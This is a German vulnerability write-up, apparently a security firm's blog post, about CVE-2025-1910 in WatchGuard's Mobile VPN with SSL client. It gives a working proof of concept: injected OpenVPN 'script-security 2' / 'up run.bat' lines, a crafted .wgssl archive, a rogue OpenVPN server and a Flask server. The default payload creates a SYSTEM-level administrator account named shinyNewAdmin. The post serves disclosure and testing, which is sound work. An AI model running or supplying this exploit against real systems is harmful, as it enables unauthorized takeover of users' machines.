Privilegieneskalation in WatchGuard's "Mobile VPN with SSL" Client (CVE-2025-1910)

Eine Privilege-Escalation-Schwachstelle in WatchGuards Mobile VPN with SSL der Versionen 11.0 bis 12.11.2 erlaubt es einem Benutzer ohne besondere Berechtigungen Befehle als SYSTEM auf dem Client auszuführen. Entdeckt wurde die Sicherheitslücke unsprünglich von Forschern bei AKASEC. Dieser Artikel liefert eine praktische Anleitung zur Prüfung und Verifizierung dieser Schwachstelle.

Die Schwachstelle

Unter der Haube nutzt WatchGuard OpenVPN, welches eine Funktion zur Ausführung von Skripten beim Verbindungsaufbau besitzt. Da diese Funktion in den betroffenen Versionen von Mobile VPN with SSL nicht deaktiviert ist, ist es möglich, beliebige Befehle mit SYSTEM-Rechten auszuführen.

Beim Versuch, eine Verbindung zu einem WatchGuard-VPN herzustellen, sendet der Server dem Client nach der Authentifizierung eine client.wgssl-Datei. Diese .wgssl-Datei ist im Wesentlichen ein .tar-Archiv, das Verbindungsinformationen einschließlich einer OpenVPN-Konfigurationsdatei (.ovpn) enthält.

Innerhalb einer OpenVPN-Konfigurationsdatei lässt sich ein Skript definieren, welches auf dem Client ausgeführt wird, sobald eine Verbindung hergestellt wurde. Um dies auszunutzen kann eine manipulierte client.wgssl-Datei erstellt werden und die folgenden zwei Zeilen in die Konfiguration eingefügt werden:

script-security 2
up run.bat

Hierbei aktiviert die erste Zeile die Skriptausführung, während die zweite festlegt, welches Skript beim Verbindungsaufbau ausgeführt werden soll. In unserem Fall handelt es sich um das Skript run.bat, das in der manipulierten client.wgssl-Datei enthalten ist. Die praktischen Details zur Erstellung und Auslieferung einer solchen Datei werden wir im nächsten Abschnitt näher beleuchten.

Proof-of-Concept

Zur Ausnutzung dieser Sicherheitslücke muss zuerst ein Webserver gestartet werden, der das manipulierte .wgssl-Archiv inklusive Angreifer-Skript ausliefert. Zusätzlich ist ein OpenVPN-Server erforderlich, mit dem sich der Client verbinden kann. Sobald die Verbindung hergestellt wurde, wird das Skript als SYSTEM ausgeführt.

Neben diesem Artikel haben wir ein GitHub Repository mit dem Proof-of-Concept veröffentlicht, damit Sicherheitsexperten die Schwachstelle nachvollziehen können.

Angriffsvorbereitung

Zunächst benötigen wir einen VPN-Server, zu dem eine Verbindung hergestellt werden kann. Da WatchGuard OpenVPN verwendet, verwenden wir es ebenfalls. Um es uns leicht zu machen, starten wir einen OpenVPN-Server, der einfach alle eingehenden Verbindungen akzeptiert. Alle erforderlichen Dateien, wie die im untenstehenden Befehl verwendete server.conf-Datei, befinden sich in unserem GitHub Repository. Um einen solchen OpenVPN-Server zu starten, kann der folgende Befehl ausgeführt werden:

sudo openvpn --config server.conf
Ein Bild welches die Terminalausgabe des obigen Befehls zeigt.

Starten eines OpenVPN-Servers, welcher beliebige Verbindungen akzeptiert.

Als Nächstes muss die remote-Option in der Datei ./client/client.ovpn aus dem Repository so angepasst werden, dass sie auf den soeben gestarteten OpenVPN-Server verweist. Hier kann entweder die IP-Adresse oder ein Domainnamen eingetragen werden. Des Weiteren kann die Datei run.bat, welche mit SYSTEM-Rechten ausgeführt wird, nach Belieben modifiziert werden. Standardmäßig wird durch das Skript ein neuer Administrator-Benutzer namens shinyNewAdmin angelegt.

Sind beide Dateien vorbereitet, lässt sich die manipulierte client.wgssl-Datei mit den folgenden Befehlen generieren:

cd client/

# Erstellen der Check-Summe
md5sum client.ovpn run.bat > MD5SUM

# Packen der Dateien in eine .wgssl Datei
tar -czf ../client_exploit.wgssl client.ovpn  MD5SUM  run.bat

cd ..

Nachdem die .wgssl-Datei erstellt wurde, können wir einen Flask Webserver starten, welcher verwendet wird, um dem Client die manipulierte Datei bereitzustellen:

# Starten des Flask HTTPS-Servers
sudo python3 srv.py
Terminalausgabe beim starten des Flask Webservers mit dem obigen Python Befehl.

Starten des Flask Webservers welcher die manipulierte client.wgssl-Datei bereitstellt.

Optional kann ein eigenes Zertifikat für den HTTPS-Server verwendet werden, um Zertifikatswarnungen zu vermeiden. Alternativ kann mittels openssl ein eigenes Zertifikat erstellt werden:

# Erzeugen eines Zertifikats/Schlüssels für die HTTPS Verbindung
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"

Ausnutzung der Schwachstelle

Nach Abschluss der Vorbereitungen kann der Hostname oder die IP-Adresse des Flask-Webservers im Server-Feld des VPN-Clients eingegeben werden. Die Logindaten spielen keine Rolle, da unser Server keine Authentifizierung benötigt:

Das Benutzerinterface von WatchGuard's Mobile VPN with SSL: Die IP des Angreifer-Servers ist im Server-Feld eingetragen. In den Feldern für Benutzername und Passwort steht 'whatever'. Der Cursor schwebt über dem 'Connect'-Button.

Beim Klicken auf Connect erscheint eine Sicherheitswarnung, die darauf hinweist, dass dem Zertifikat nicht vertraut wird. Dies kann mit einem Klick auf Yes ignoriert werden, um die Verbindung trotzdem herzustellen:

Eine Sicherheitswarnung die den Benutzer daraufhinweist, dass dem Zertifikat nicht vertraut wird. Der Benutzer wird gefragt, ob die Verbindung dennoch aufgebaut werden soll. Die Maus des Benutzers befindet sich auf dem *Yes*-Button.

Eine Sicherheitswarnung weist den Benutzer darauf hin, dass dem Zertifikat des Servers nicht vertraut wird.

Nachdem die Verbindung erfolgreich hergestellt wurde, wird die Datei run.bat ausgeführt und der Benutzer shinyNewAdmin angelegt.

Ausgabe des Befehls `net user` welche zeigt, dass tatsächlich ein neuer Administrator angelegt wurde.

Nachdem die Verbindung erfolgreich aufgebaut wurde, wird ein neuer Administrator angelegt.

David Schneider

Geschäftsführer und Mitgründer

Ein Unternehmen muss als Ganzes abgesichert werden, von der Webanwendung über die Mitarbeiter bis zur letzten Fensterschraube.

7. Januar 2026